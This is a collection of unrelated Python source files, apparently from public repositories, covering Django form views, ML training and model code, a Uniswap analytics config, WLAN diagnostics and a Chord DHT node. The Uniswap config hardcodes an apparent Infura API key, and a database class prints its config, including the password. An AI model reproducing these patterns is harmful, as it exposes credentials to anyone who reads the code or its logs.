#set notification title = '%s %s submitted the "%s" form' % \ (req.user.first_name, req.user.last_name, user_form) url = "/forms/results/%s/" % user_form.slug if user_form.owner.exists(): if user_form.collect_users: title = '%s %s submitted the "%s" form' % \ (req.user.first_name, req.user.last_name, user_form) text_template = 'form_respond.txt' html_template = 'form_respond.html' else: title = 'Someone submitted the "%s" form' % user_form text_template = 'form_respond_anonymous.txt' html_template = 'form_respond_anonymous.html' for o in user_form.owner.all(): if o != req.user: email_info = EmailInfo( subject=title, text_template='form_builder/email/%s' % text_template, html_template='form_builder/email/%s' % html_template, to_address=o.email ) Notification.set_notification(req.user, req.user, "submitted", user_form, o, title, url, email_info) return HttpResponseRedirect(reverse('form_builder:form_thanks', args=[form_response.pk])) return render_to_response('form_builder/respond.html', {'user_form': user_form, 'response_form': response_form}, context_instance=RequestContext(req)) else: context = RequestContext(req) context['form_title'] = user_form.title return render_to_response('form_builder/thanks.html', {}, context_instance=context) @login_required def form_thanks(req, id=None): if id: form_response = get_object_or_404(FormResponse, pk=id) return render_to_response('form_builder/thanks.html', {'form_response': form_response, 'form': form_response.form}, context_instance=RequestContext(req)) else: form_response = None return render_to_response('form_builder/thanks.html', {}, context_instance=RequestContext(req)) @login_required def results(req, id): form = get_object_or_404(Form, owner=req.user, slug=id) req_new = req.GET.get('new', '') response_count = form.response_set.count() new_responses = False for response in form.response_set.filter(archived=False): new_responses = form.response_set.filter(archived=False) context = RequestContext(req) context['compact_header'] = 'compact-header' if req_new != '': return render_to_response( 'form_builder/results.html', response_dict(form=form, responses=form.response_set.filter(archived=False), fields=form.field_set.all(), new=True, new_responses=new_responses, response_count=response_count), context_instance=context) else: return render_to_response( 'form_builder/results.html', response_dict(form=form, responses=form.response_set.all(), fields=form.field_set.all(), new=False, new_responses=new_responses, response_count=response_count), context_instance=context) @login_required def view_response(req, formid, resid): user_form = get_object_or_404(Form, owner=req.user, slug=formid) response_form = ResponseForm( req.POST or None, form=user_form, user=req.user) result = get_object_or_404(FormResponse, pk=resid) response_set = result.fieldresponse_set.all() for field_response in response_set: field_response.field.label = \ field_response.field.label.replace(user_form.title + ' - ', '') return render_to_response('form_builder/respond.html', response_dict(user_form=user_form, fields=user_form.field_set.all(), response_form=response_form, response=result, response_set=response_set, viewonly=True), context_instance=RequestContext(req)) @login_required def archive_result(req, id): result = get_object_or_404(FormResponse, pk=id) if result.archived is False: result.archived = True result.save() if req.META.get('HTTP_REFERER'): return HttpResponseRedirect(req.META.get('HTTP_REFERER')) else: return HttpResponseRedirect(reverse('form_builder:index')) @login_required def mark_result_as_new(req, id): result = get_object_or_404(FormResponse, pk=id) if result.archived: result.archived = False result.save() if req.META.get('HTTP_REFERER'): return HttpResponseRedirect(req.META.get('HTTP_REFERER')) else: return HttpResponseRedirect(reverse('form_builder:index')) @login_required def archive_all(req, id): form = get_object_or_404(Form, owner=req.user, slug=id) for response in form.response_set.filter(archived=False): response.archived = True response.save() if req.META.get('HTTP_REFERER'): return HttpResponseRedirect(req.META.get('HTTP_REFERER')) else: return HttpResponseRedirect(reverse('form_builder:index')) @login_required def results_csv(req, id): form = get_object_or_404(Form, owner=req.user, slug=id) req_new = req.GET.get('new', '') # Create the HttpResponse object with the appropriate CSV header. http_response = HttpResponse(content_type='text/csv') http_response['Content-Disposition'] = 'attachment; filename="results.csv"' writer = csv.writer(http_response) labels = [normalize(field.label) for field in form.field_set.all()] labels.insert(0, "Date/Time") if form.collect_users: labels.insert(0, "User") writer.writerow(labels) if req_new != '': for response in form.response_set.filter(archived=False): data = [normalize(field_response.value) for field_response in response.fieldresponse_set.all()] data.insert(0, response.submission_date) if form.collect_users: if response.user: data.insert(0, normalize(response.user.first_name) + ' ' + normalize(response.user.last_name)) else: data.insert(0, "anonymous") writer.writerow(data) else: for response in form.response_set.all(): # This assumes a paste operation from an MS Office product # May want to be more sophisticated about encoding data = [normalize(field_response.value) for field_response in response.fieldresponse_set.all()] data.insert(0, response.submission_date) if form.collect_users: if response.user: data.insert(0, normalize(response.user.first_name) + ' ' + normalize(response.user.last_name)) else: data.insert(0, "anonymous") writer.writerow(data) return http_response @login_required @require_POST def delete(req, id): form = get_object_or_404(Form, owner=req.user, slug=id) form.delete() add_message(req, messages.INFO, "Your form was deleted.") return HttpResponseRedirect(reverse('form_builder:index')) @login_required @require_POST def duplicate(req, id): form = get_object_or_404(Form, owner=req.user, slug=id) form.duplicate() add_message(req, messages.INFO, "Your form was duplicated.") return HttpResponseRedirect(reverse('form_builder:index'))
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banding_removal/fastmri/spawn_dist.py
sbhadra2020/fastMRI
3
153663
<reponame>sbhadra2020/fastMRI #from __future__ import print_function import argparse import pickle import os import pdb import signal import warnings import time from time import sleep import sys sys.path.append(sys.path[0] + "/..") __package__ = "fastmri" import multiprocessing import subprocess from .args import Args def work(info): rank, ntasks, args = info # This must be imported here, in the child process, not globally. from .run import run as run_task os.environ['RANK'] = str(rank) os.environ['WORLD_SIZE'] = str(ntasks) run_task(args) def run(args=None, ntasks=None): if args is None: args = Args().parse_args() if isinstance(args, dict): args = Args(**args).parse_args() # Some automatic ntask settings code if ntasks is None: try: devices = os.environ['CUDA_VISIBLE_DEVICES'] ntasks = len(devices.split(',')) except: try: ntasks = int(os.popen("nvidia-smi -L | wc -l").read()) except: ntasks = 2 args.is_distributed = True # Temp ignore for bug in pytorch dataloader, it leaks semaphores os.environ['PYTHONWARNINGS'] = 'ignore:semaphore_tracker:UserWarning,ignore::UserWarning' # Make this process the head of a process group. os.setpgrp() # Most important line in this file. CUDA fails horribly if we use the default fork multiprocessing.set_start_method('forkserver') processses = [] for i in range(ntasks): p = multiprocessing.Process(target=work, args=[(i, ntasks, args)]) p.start() if args.strace: # Addtional Monitoring process subprocess.Popen(["strace", "-tt" , "-o", f"{args.exp_dir}/strace_{i}.log", "-e", "trace=write", "-s256", "-p", f"{p.pid}"]) processses.append(p) def terminate(signum, frame): # Try terminate first print("terminating child processes") sys.stdout.flush() for i, p in enumerate(processses): if p.is_alive(): p.terminate() # Wait a little for i in range(20): if any(p.is_alive() for p in processses): sleep(0.1) ## If they are still alive after that kill -9 them for i, p in enumerate(processses): if p.is_alive(): print(f"Sending SIGKILL to process {i}") sys.stdout.flush() os.kill(p.pid, signal.SIGKILL) print("exiting") sys.stdout.flush() sys.exit(0) if args.auto_requeue: def forward_usr1_signal(signum, frame): print(f"Received USR1 signal in spawn_dist", flush=True) for i, p in enumerate(processses): if p.is_alive(): os.kill(p.pid, signal.SIGUSR1) def forward_term_signal(signum, frame): print(f"Received SIGTERM signal in spawn_dist", flush=True) for i, p in enumerate(processses): if p.is_alive(): os.kill(p.pid, signal.SIGTERM) # For requeing we need to ignore SIGTERM, and forward USR1 signal.signal(signal.SIGUSR1, forward_usr1_signal) signal.signal(signal.SIGTERM, forward_term_signal) signal.signal(signal.SIGINT, terminate) else: signal.signal(signal.SIGINT, terminate) signal.signal(signal.SIGTERM, terminate) while True: sleep(0.5) if any(not p.is_alive() for p in processses): print("Detected an exited process, so exiting main") terminate(None, None) print("DONE") if __name__ == "__main__": run()
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13, 13, 1678, 1596, 703, 29928, 12413, 1159, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1065, 580, 13, 2 ]
uniswap/config.py
amis-erc20/uniswap-analytics
0
169846
<gh_stars>0 import json import os from multiprocessing.pool import ThreadPool from web3 import Web3, IPCProvider from custom_http_provider import CustomHTTPProvider INFURA_ADDRESS = 'https://mainnet.infura.io/v3/4facf9a657054a2287e6a4bec21046a3' DEFAULT_REQUEST_TIMEOUT = 30 web3_infura = Web3(CustomHTTPProvider(endpoint_uri=INFURA_ADDRESS, request_kwargs={'timeout': DEFAULT_REQUEST_TIMEOUT})) web3 = Web3(IPCProvider()) ETH = 10 ** 18 UNISWAP_BEGIN_BLOCK = 6627917 HISTORY_BEGIN_BLOCK = 6628000 HISTORY_CHUNK_SIZE = 5000 CURRENT_BLOCK = web3.eth.blockNumber LOGS_BLOCKS_CHUNK = 1000 THREADS = 8 pool = ThreadPool(THREADS) with open('abi/uniswap_factory.abi') as in_f: UNISWAP_FACTORY_ABI = json.load(in_f) with open('abi/uniswap_exchange.abi') as in_f: UNISWAP_EXCHANGE_ABI = json.load(in_f) with open('abi/erc_20.abi') as in_f: ERC_20_ABI = json.load(in_f) with open('abi/str_erc_20.abi') as in_f: STR_ERC_20_ABI = json.load(in_f) with open('abi/str_caps_erc_20.abi') as in_f: STR_CAPS_ERC_20_ABI = json.load(in_f) UNISWAP_FACTORY_ADDRESS = '0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95' uniswap_factory = web3.eth.contract(abi=UNISWAP_FACTORY_ABI, address=UNISWAP_FACTORY_ADDRESS) HARDCODED_INFO = { '0xE0B7927c4aF23765Cb51314A0E0521A9645F0E2A': ('DGD', 'DGD', 9), '0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413': ('TheDAO', 'TheDAO', 16), } DIST_DIR = '../dist/uniswap/' LIQUIDITY_DATA = os.path.join(DIST_DIR, 'data/liquidity.csv') PROVIDERS_DATA = os.path.join(DIST_DIR, 'data/providers/{}.csv') ROI_DATA = os.path.join(DIST_DIR, 'data/roi/{}.csv') VOLUME_DATA = os.path.join(DIST_DIR, 'data/volume/{}.csv') TOTAL_VOLUME_DATA = os.path.join(DIST_DIR, 'data/total_volume.csv') TOKENS_DATA = os.path.join(DIST_DIR, 'data/tokens.json') EVENT_TRANSFER = '0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef' EVENT_TOKEN_PURCHASE = '<KEY>' EVENT_ETH_PURCHASE = '0x7f4091b46c33e918a0f3aa42307641d17bb67029427a5369e54b353984238705' EVENT_ADD_LIQUIDITY = '0x06239653922ac7bea6aa2b19dc486b9361821d37712eb796adfd38d81de278ca' EVENT_REMOVE_LIQUIDITY = '0x0fbf06c058b90cb038a618f8c2acbf6145f8b3570fd1fa56abb8f0f3f05b36e8' ALL_EVENTS = [EVENT_TRANSFER, EVENT_TOKEN_PURCHASE, EVENT_ETH_PURCHASE, EVENT_ADD_LIQUIDITY, EVENT_REMOVE_LIQUIDITY] INFOS_DUMP = 'infos.dump' LAST_BLOCK_DUMP = 'last_block.dump' GRAPHQL_LOGS_QUERY = ''' {{ logs(filter: {{fromBlock: {fromBlock}, toBlock: {toBlock}, addresses: {addresses}, topics: {topics}}}) {{ data topics transaction {{ block {{ number }} }} }} }}''' GRAPHQL_ENDPOINT = 'http://localhost:8547/graphql'
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restapi/src/DB/DBConnection.py
RaymanRJ/rrjamal.ca
0
125769
from typing import Dict import psycopg2 from DBConfig import db_config class DBConnection: __config: Dict[str, str] __conn: psycopg2 def __init__(self): self.__config = db_config print(self.__config) self.__conn = psycopg2.connect( host=self.__config['host'], database=self.__config['database'], user=self.__config['user'], password=self.__config['pass'] ) @property def connection(self) -> psycopg2: return self.__conn @property def cursor(self) -> psycopg2: return self.__conn.cursor()
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tests/simple_gan_test.py
alanpeixinho/NiftyNet
0
7251
from __future__ import absolute_import, print_function import unittest import os import tensorflow as tf from tensorflow.keras import regularizers from niftynet.network.simple_gan import SimpleGAN from tests.niftynet_testcase import NiftyNetTestCase class SimpleGANTest(NiftyNetTestCase): def test_3d_reg_shape(self): input_shape = (2, 32, 32, 32, 1) noise_shape = (2, 512) x = tf.ones(input_shape) r = tf.ones(noise_shape) simple_gan_instance = SimpleGAN() out = simple_gan_instance(r, x, is_training=True) with self.cached_session() as sess: sess.run(tf.compat.v1.global_variables_initializer()) out = sess.run(out) self.assertAllClose(input_shape, out[0].shape) self.assertAllClose((2, 1), out[1].shape) self.assertAllClose((2, 1), out[2].shape) def test_2d_reg_shape(self): input_shape = (2, 64, 64, 1) noise_shape = (2, 512) x = tf.ones(input_shape) r = tf.ones(noise_shape) simple_gan_instance = SimpleGAN() out = simple_gan_instance(r, x, is_training=True) with self.cached_session() as sess: sess.run(tf.compat.v1.global_variables_initializer()) out = sess.run(out) self.assertAllClose(input_shape, out[0].shape) self.assertAllClose((2, 1), out[1].shape) self.assertAllClose((2, 1), out[2].shape) if __name__ == "__main__": tf.test.main()
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wlanpi_core/services/diagnostics_service.py
WLAN-Pi/wlanpi-core
1
51208
from shutil import which from typing import Optional from wlanpi_core.models.validation_error import ValidationError from .helpers import get_phy80211_interfaces, run_cli_async async def executable_exists(name: str) -> bool: """ Check whether `name` is on PATH and marked as executable. """ return which(name) is not None async def test_wifi_interface(interface: str) -> dict: test = {} test["name"] = interface test["mac"] = ( await run_cli_async(f"cat /sys/class/net/{interface}/address") ).strip() test["driver"] = ( (await run_cli_async(f"readlink -f /sys/class/net/{interface}/device/driver")) .strip() .rsplit("/", 1)[1] ) """ https://www.kernel.org/doc/Documentation/ABI/testing/sysfs-class-net What: /sys/class/net/<iface>/operstate Date: March 2006 KernelVersion: 2.6.17 Contact: <EMAIL> Description: Indicates the interface RFC2863 operational state as a string. Possible values are: "unknown", "notpresent", "down", "lowerlayerdown", "testing", "dormant", "up". """ operstate = await run_cli_async(f"cat /sys/class/net/{interface}/operstate") test["operstate"] = operstate.strip() _type = await run_cli_async(f"cat /sys/class/net/{interface}/type") _type = int(_type) if _type == 1: test["mode"] = "managed" elif _type == 801: test["mode"] = "monitor" elif _type == 802: test["mode"] = "monitor" elif ( _type == 803 ): # https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/if_arp.h#L90 test["mode"] = "monitor" else: test["mode"] = "unknown" return test async def get_diagnostics(): """ Return diagnostic tests for probe """ diag = {} regdomain = await run_cli_async("iw reg get") diag["regdomain"] = [line for line in regdomain.split("\n") if "country" in line] executable = {} tcpdump_exists = await executable_exists("tcpdump") executable["tcpdump"] = tcpdump_exists iw_exists = await executable_exists("iw") executable["iw"] = iw_exists ip_exists = await executable_exists("ip") executable["ip"] = ip_exists ifconfig_exists = await executable_exists("ifconfig") executable["ifconfig"] = ifconfig_exists airmonng_exists = await executable_exists("airmon-ng") executable["airmon-ng"] = airmonng_exists # add executable tests to diag diag["tools"] = executable tool_versions = {} if tcpdump_exists: tool_versions["tcpdump"] = await run_cli_async( "tcpdump --version", want_stderr=True ) else: tool_versions["tcpdump"] = "unknown" if iw_exists: tool_versions["iw"] = await run_cli_async("iw --version") else: tool_versions["iw"] = "unknown" if ip_exists: tool_versions["ip"] = await run_cli_async("ip -V") else: tool_versions["ip"] = "unknown" if ifconfig_exists: tool_versions["ifconfig"] = await run_cli_async("ifconfig --version") else: tool_versions["ifconfig"] = "unknown" # add version tests to diag diag["versions"] = tool_versions return diag async def get_interface_diagnostics(interface: Optional[str] = None): interfaces = get_phy80211_interfaces() results = {} if interface: if interface not in interfaces: raise ValidationError( status_code=400, error_msg=f"wlan interface {interface} not found" ) results["interfaces"] = [await test_wifi_interface(interface)] return results else: ifaces = [] for interface in interfaces: ifaces.append(await test_wifi_interface(interface)) results["interfaces"] = ifaces return results
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fastapi_crudrouter/core/utils.py
agallant/fastapi-crudrouter
0
147876
<filename>fastapi_crudrouter/core/utils.py def get_pk_type(schema, pk_field) -> type: try: return schema.__fields__[pk_field].type_ except KeyError: return int
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Task2/03_personal-info.py
telecomprofi/Cisco-DevOps-MDP-02
0
88415
#03_personal-info.py space= " " firstName = input("What is your first name?") lastName = input("What is your last name?") location = input("What is your location?") age = input("What is your age?") print("Hi "+ firstName + space + lastName +"! Your location is "+ location + " and you are "+age + " years old!")
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deeplio/models/nets/pointseg_modules.py
rginjapan/DeepLIO
43
155138
<gh_stars>10-100 import torch import torch.nn as nn import torch.nn.functional as F class ASPPConv(nn.Sequential): def __init__(self, in_channels, out_channels, dilation): modules = [ nn.Conv2d(in_channels, out_channels, 3, padding=dilation, dilation=dilation, bias=False), nn.BatchNorm2d(out_channels), nn.ReLU() ] super(ASPPConv, self).__init__(*modules) class ASPPPooling(nn.Sequential): def __init__(self, in_channels, out_channels): super(ASPPPooling, self).__init__( nn.AdaptiveAvgPool2d(1), nn.Conv2d(in_channels, out_channels, 1, bias=False), nn.BatchNorm2d(out_channels), nn.ReLU()) def forward(self, x): size = x.shape[-2:] for mod in self: x = mod(x) return F.interpolate(x, size=size, mode='bilinear', align_corners=False) class ASPP(nn.Module): def __init__(self, in_channels, atrous_rates, out_channels=128): super(ASPP, self).__init__() modules = [] modules.append(nn.Sequential( nn.Conv2d(in_channels, out_channels, 1, bias=False), nn.BatchNorm2d(out_channels), nn.ReLU())) rates = tuple(atrous_rates) for rate in rates: modules.append(ASPPConv(in_channels, out_channels, rate)) modules.append(ASPPPooling(in_channels, out_channels)) self.convs = nn.ModuleList(modules) self.project = nn.Sequential( nn.Conv2d(5 * out_channels, out_channels, 1, bias=False), nn.BatchNorm2d(out_channels), nn.ReLU(), nn.Dropout(0.25)) def forward(self, x): res = [] for conv in self.convs: res.append(conv(x)) res = torch.cat(res, dim=1) return self.project(res) class BaseBlk(nn.Module): def __init__(self, init='kaiming'): super(BaseBlk, self).__init__() self.init = init self.reset_parameters() def reset_parameters(self): for module in self.modules(): if isinstance(module, nn.Conv2d) or isinstance(module, nn.ConvTranspose2d): self.init_module(module) def init_module(self, module): # Pytorch does kaiming initialiaztion at the moment, so do not need to inititliaze again. if 'kaiming' in self.init: return init_method = init_methods[self.init] if self.init == "bilinear" and isinstance(module, nn.ConvTranspose2d): init_method(module.weight) if module.bias is not None: torch.nn.init.zeros_(module.bias) class Fire(BaseBlk): def __init__(self, inplanes, squeeze_planes, expand1x1_planes, expand3x3_planes, bn=True, bn_d=0.1, init='kaiming', bypass=None): super(Fire, self).__init__(init) self.inplanes = inplanes self.bypass = bypass self.bn = bn self.activation = nn.ReLU(inplace=False) self.squeeze = nn.Conv2d(inplanes, squeeze_planes, kernel_size=1) if self.bn: self.squeeze_bn = nn.BatchNorm2d(squeeze_planes, momentum=bn_d) self.expand1x1 = nn.Conv2d(squeeze_planes, expand1x1_planes, kernel_size=1) if self.bn: self.expand1x1_bn = nn.BatchNorm2d(expand1x1_planes, momentum=bn_d) self.expand3x3 = nn.Conv2d(squeeze_planes, expand3x3_planes, kernel_size=3, padding=1) if self.bn: self.expand3x3_bn = nn.BatchNorm2d(expand3x3_planes, momentum=bn_d) outplanes = expand1x1_planes + expand3x3_planes self.need_upsample = inplanes != outplanes if (self.bypass is not None) and (self.bypass == "complex") and self.need_upsample: self.upsample = nn.Conv2d(inplanes, outplanes, kernel_size=1) self.reset_parameters() def forward(self, x): identity = x x = self.squeeze(x) if self.bn: x = self.squeeze_bn(x) x = self.activation(x) x_1x1 = self.expand1x1(x) if self.bn: x_1x1 = self.expand1x1_bn(x_1x1) x_1x1 = self.activation(x_1x1) x_3x3 = self.expand3x3(x) if self.bn: x_3x3 = self.expand3x3_bn(x_3x3) x_3x3 = self.activation(x_3x3) out = torch.cat([x_1x1, x_3x3], 1) if self.bypass is not None: if self.bypass == "complex" and self.need_upsample: identity = self.upsample(identity) out += identity elif self.bypass == "simple" and not self.need_upsample: out += identity #out = F.elu(out, inplace=True) return out class FireDeconv(BaseBlk): """Fire deconvolution layer constructor. Args: inputs: input channels squeeze_planes: number of 1x1 filters in squeeze layer. expand1x1_planes: number of 1x1 filters in expand layer. expand3x3_planes: number of 3x3 filters in expand layer. stride: spatial upsampling factors.[1,2] Returns: fire deconv layer operation. """ def __init__(self, inplanes, squeeze_planes, expand1x1_planes, expand3x3_planes, stride=(1, 2), padding=(0, 1), bn=True, bn_d=0.1, init='kaiming'): super(FireDeconv, self).__init__(init) self.bn = bn self.activation = nn.ReLU(inplace=True) self.squeeze = nn.Conv2d(inplanes, squeeze_planes, kernel_size=1) if self.bn: self.squeeze_bn = nn.BatchNorm2d(squeeze_planes, momentum=bn_d) # upsampling self.squeeze_deconv = nn.ConvTranspose2d(squeeze_planes, squeeze_planes, kernel_size=(1, 4), stride=stride, padding=padding) self.expand1x1 = nn.Conv2d(squeeze_planes, expand1x1_planes, kernel_size=1) if self.bn: self.expand1x1_bn = nn.BatchNorm2d(expand1x1_planes, momentum=bn_d) self.expand3x3 = nn.Conv2d(squeeze_planes, expand3x3_planes, kernel_size=3, padding=1) if self.bn: self.expand3x3_bn = nn.BatchNorm2d(expand3x3_planes, momentum=bn_d) self.reset_parameters() def forward(self, x): x = self.squeeze(x) if self.bn: x = self.squeeze_bn(x) x = self.activation(x) x = self.activation(self.squeeze_deconv(x)) x_1x1 = self.expand1x1(x) if self.bn: x_1x1 = self.expand1x1_bn(x_1x1) x_1x1 = self.activation(x_1x1) x_3x3 = self.expand3x3(x) if self.bn: x_3x3 = self.expand3x3_bn(x_3x3) x_3x3 = self.activation(x_3x3) out = torch.cat([x_1x1, x_3x3], 1) return out class SELayer(nn.Module): """Squeeze and Excitation layer from SEnet """ def __init__(self, in_features, reduction=16): super(SELayer, self).__init__() self.avg_pool = nn.AdaptiveAvgPool2d(1) self.fc = nn.Sequential( nn.Linear(in_features, in_features // reduction, bias=False), nn.ReLU(inplace=True), nn.Linear(in_features // reduction, in_features, bias=False), nn.Sigmoid() ) def forward(self, x): b, c, _, _ = x.size() y = self.avg_pool(x).view(b, c) y = self.fc(y).view(b, c, 1, 1) x_scaled = x * y.expand_as(x) return x_scaled def init_bilinear(tensor): """Reset the weight and bias.""" nn.init.constant_(tensor, 0) in_feat, out_feat, h, w = tensor.shape assert h == 1, 'Now only support size_h=1' assert in_feat == out_feat, \ 'In bilinear interporlation mode, input channel size and output' \ 'filter size should be the same' factor_w = (w + 1) // 2 if w % 2 == 1: center_w = factor_w - 1 else: center_w = factor_w - 0.5 og_w = torch.reshape(torch.arange(w), (h, -1)) up_kernel = (1 - torch.abs(og_w - center_w) / factor_w) for c in range(in_feat): tensor.data[c, c, :, :] = up_kernel init_methods = { 'xavier-normal': nn.init.xavier_normal_, 'xavier-uniform': nn.init.xavier_uniform_, 'kaiming': nn.init.kaiming_normal_, 'bilinear': init_bilinear, }
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x7/view/icons.py
gribbg/x7-view
0
1603817
<reponame>gribbg/x7-view<gh_stars>0 """ Access routines to icons """ import tkinter as tk from tkinter import ttk from importlib import resources from typing import Dict ICONS_RESOURCE = 'x7.view.resources.icons' icons_loaded: Dict[str, tk.PhotoImage] = dict() def icon(tag: str, size=24) -> tk.PhotoImage: """Load an icon and return tk.PhotoImage for use elsewhere""" res_name = '%s-%dx%d.png' % (tag, size, size) with resources.path(ICONS_RESOURCE, res_name) as path: path = str(path) if path not in icons_loaded: icons_loaded[path] = tk.PhotoImage(file=str(path)) return icons_loaded[path] def test(): import os res_icons = 'x7.view.resources.icons' icons = [] print('is?', resources.is_resource(res_icons, 'pencil-24x24.png')) with resources.path(res_icons, 'pencil-24x24.png') as path: print('path: %s' % path) suffix = '-24x24.png' for fn in os.listdir(os.path.dirname(path)): if fn.endswith(suffix): icons.append(fn[:-len(suffix)]) root = tk.Tk() root_frame = ttk.Frame(root) root_frame.pack() for row, size in enumerate([24, 32, 64]): frame = ttk.Frame(root_frame) frame.pack() for col, ic in enumerate(icons): ttk.Button(frame, image=icon(ic, size), style='Toolbutton').grid(row=row, column=col) root.mainloop() if __name__ == '__main__': test()
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libs/models/__init__.py
awesome-archive/deeplab-pytorch
0
84464
<reponame>awesome-archive/deeplab-pytorch<filename>libs/models/__init__.py<gh_stars>0 from __future__ import absolute_import from .resnet import * from .deeplabv2 import * from .deeplabv3 import * from .deeplabv3plus import * from .msc import * def init_weights(model): for m in model.modules(): if isinstance(m, nn.Conv2d): nn.init.kaiming_normal_(m.weight) if m.bias is not None: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.kaiming_normal_(m.weight) if m.bias is not None: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.BatchNorm2d): nn.init.constant_(m.weight, 1) if m.bias is not None: nn.init.constant_(m.bias, 0) def DeepLabV2_ResNet101_MSC(n_classes): return MSC( base=DeepLabV2( n_classes=n_classes, n_blocks=[3, 4, 23, 3], atrous_rates=[6, 12, 18, 24] ), scales=[0.5, 0.75], ) def DeepLabV2S_ResNet101_MSC(n_classes): return MSC( base=DeepLabV2( n_classes=n_classes, n_blocks=[3, 4, 23, 3], atrous_rates=[3, 6, 9, 12] ), scales=[0.5, 0.75], ) def DeepLabV3_ResNet101_MSC(n_classes, output_stride): if output_stride == 16: atrous_rates = [6, 12, 18] elif output_stride == 8: atrous_rates = [12, 24, 36] else: NotImplementedError return MSC( base=DeepLabV3( n_classes=n_classes, n_blocks=[3, 4, 23, 3], atrous_rates=atrous_rates, multi_grids=[1, 2, 4], output_stride=output_stride, ), scales=[0.5, 0.75], ) def DeepLabV3Plus_ResNet101_MSC(n_classes, output_stride): if output_stride == 16: atrous_rates = [6, 12, 18] elif output_stride == 8: atrous_rates = [12, 24, 36] else: NotImplementedError return MSC( base=DeepLabV3Plus( n_classes=n_classes, n_blocks=[3, 4, 23, 3], atrous_rates=atrous_rates, multi_grids=[1, 2, 4], output_stride=output_stride, ), scales=[0.5, 0.75], )
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Ago-Dic-2018/Ernesto Vela/Practica 2/ThreeRestaurants.py
Arbupa/DAS_Sistemas
41
1615956
<reponame>Arbupa/DAS_Sistemas class Restaurant: def __init__(self, restaurant_name='', cuisine_type=''): self.restaurant_name = restaurant_name self.cuisine_type = cuisine_type def describe_restaurant(self): print('El nombre del restaurante es: ', self.restaurant_name) print('El tipo de cocina del restaurante es: ', self.cuisine_type) def open_restaurant(self): print('El restaurante esta abierto') restaurante_1 = Restaurant('Los mariachis', 'Mexicana') restaurante_1.describe_restaurant() restaurante_2 = Restaurant('Que elegancia la de francia', 'Francesa') restaurante_2.describe_restaurant() restaurante_3 = Restaurant('El dorado', 'Mariscos') restaurante_3.describe_restaurant()
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cosmic_ray/operators/unary_operator_replacement.py
rob-smallshire/cosmic-ray
0
12670
<gh_stars>0 """Implementation of the unary-operator-replacement operator. """ import ast from .operator import Operator from ..util import build_mutations # None indicates we want to delete the operator OPERATORS = (ast.UAdd, ast.USub, ast.Invert, ast.Not, None) def _to_ops(from_op): """ The sequence of operators which `from_op` could be mutated to. """ for to_op in OPERATORS: if to_op and isinstance(from_op, ast.Not): # 'not' can only be removed but not replaced with # '+', '-' or '~' b/c that may lead to strange results pass elif isinstance(from_op, ast.UAdd) and (to_op is None): # '+1' => '1' yields equivalent mutations pass else: yield to_op class MutateUnaryOperator(Operator): """An operator that modifies unary operators.""" def visit_UnaryOp(self, node): # pylint: disable=invalid-name """ http://greentreesnakes.readthedocs.io/en/latest/nodes.html#UnaryOp """ return self.visit_mutation_site( node, len(build_mutations([node.op], _to_ops))) def mutate(self, node, idx): "Perform the `idx`th mutation on node." _, to_op = build_mutations([node.op], _to_ops)[idx] if to_op: node.op = to_op() return node return node.operand
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coderedcms/wagtail_flexible_forms/edit_handlers.py
mikiec84/coderedcms
9
11026
from django.template.loader import render_to_string from django.utils.safestring import mark_safe from django.utils.translation import ugettext as _ from wagtail.admin.edit_handlers import EditHandler class FormSubmissionsPanel(EditHandler): template = "wagtailforms/edit_handlers/form_responses_panel.html" def bind_to_model(self, model): new = super().bind_to_model(model) if self.heading is None: new.heading = _('{} submissions').format(model.get_verbose_name()) return new def render(self): Submission = self.model.get_submission_class() submissions = Submission.objects.filter(page=self.instance) submission_count = submissions.count() if not submission_count: return '' return mark_safe(render_to_string(self.template, { 'self': self, 'submission_count': submission_count, 'last_submit_time': (submissions.order_by('submit_time') .last().submit_time), }))
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setup.py
aino/aino-convert
1
158928
from os.path import abspath, dirname, join as pjoin try: from setuptools import setup except ImportError: from distutils.core import setup fn = abspath(pjoin(dirname(__file__), 'README.rst')) fp = open(fn, 'r') long_description = fp.read() fp.close() setup( name='aino-convert', version='0.1.0.14', url='https://github.com/aino/aino-convert', license='BSD', author='<NAME>', author_email='<EMAIL>', description='Magick for Django', long_description=long_description, classifiers=[ 'Development Status :: 3 - Alpha', 'Environment :: Web Environment', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Multimedia :: Graphics', 'Framework :: Django', ], packages=[ 'convert', 'convert.conf', 'convert.templatetags', ], platforms='any' )
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src/app/node/local_stabilizing_node.py
acatalfano/chord-dht
0
101601
<filename>src/app/node/local_stabilizing_node.py from typing import Callable from threading import Thread, main_thread from time import sleep from .stabilizing_node import StabilizingNode from ..node_data.local_node_data import LocalNodeData from .node import Node from ..utility.logger import Logger class LocalStabilizingNode(StabilizingNode[LocalNodeData[StabilizingNode]]): @staticmethod def create_new_ring(name: str, id_method: Callable[[str], int]) -> 'LocalStabilizingNode': node = LocalStabilizingNode(name, id_method) node._finger_table[0] = node.as_node_data() node.predecessor = node._get_null_object() Logger.logger().info('Start a ring with node %d', node.id) node._deploy_stabilizing_tasks() return node @staticmethod def __spin(operation: Callable[[], None]) -> None: while main_thread().is_alive(): operation() sleep(1) def _deploy_stabilizing_tasks(self) -> None: operations: list[Callable[[], None]] = [ self._stabilize, self._fix_fingers, self._check_predecessor ] threads = [Thread(target=LocalStabilizingNode.__spin, args=[operation]) for operation in operations] for t in threads: t.start() def _get_successor_predecessor(self) -> LocalNodeData: assert(self.successor.reference is not None) return self.successor.reference.predecessor def _get_next_successor(self, node_data: LocalNodeData, digest: int, hops: int) -> tuple[LocalNodeData, int]: assert(node_data.reference is not None) return node_data.reference.find_successor(digest, hops) def _notify_successor(self, potential_predecessor: LocalNodeData) -> None: assert(self.successor.reference is not None) self.successor.reference._notify(potential_predecessor) def _get_null_object(self) -> LocalNodeData: return LocalNodeData(-1, None) def as_node_data(self) -> LocalNodeData: return LocalNodeData(self.id, self, self.predecessor, self.successor)
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machine-learning/ml-projects/stereo-cam-v1/utils/train_utils.py
olaals/masteroppgave2
0
161006
